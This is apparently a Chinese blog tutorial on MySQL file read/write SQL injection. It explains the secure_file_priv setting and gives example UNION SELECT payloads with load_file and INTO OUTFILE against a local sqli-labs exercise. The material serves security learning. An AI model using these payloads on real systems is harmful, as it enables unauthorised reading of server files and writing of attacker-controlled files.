读写的内容：
1、用户的信息
2、配置信息
文件读写注入的条件
secure_file_priv限制了mysql导出文件的权限
Linux：
cat/etc/my.cnf
win：
my.ini中的secure_file_priv
secure_file_priv=null 代表不能进行文件读写
secure_file_priv=文件路径 代表能在该文件可以进行读写
secure_file_priv='' 代表对文件没有读写限制
读取文件
使用函数load_file('文件路径')路径符号只能使用/
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,load_file(‘E://test1.txt’),3 --+
写入文件
使用函数：Into Outfile（能写入多行，按格式输出）into Dumpfile（只能写入一行且没有输出格式）
http://127.0.0.1/sqli/Less-2/?id=1 union select 1,'text',3 into outfile 'E://test1.txt'--+
标签：文件,secure,--,读写,写入,file,sql,网安,priv From： https://www.cnblogs.com/L-1906/p/17568582.html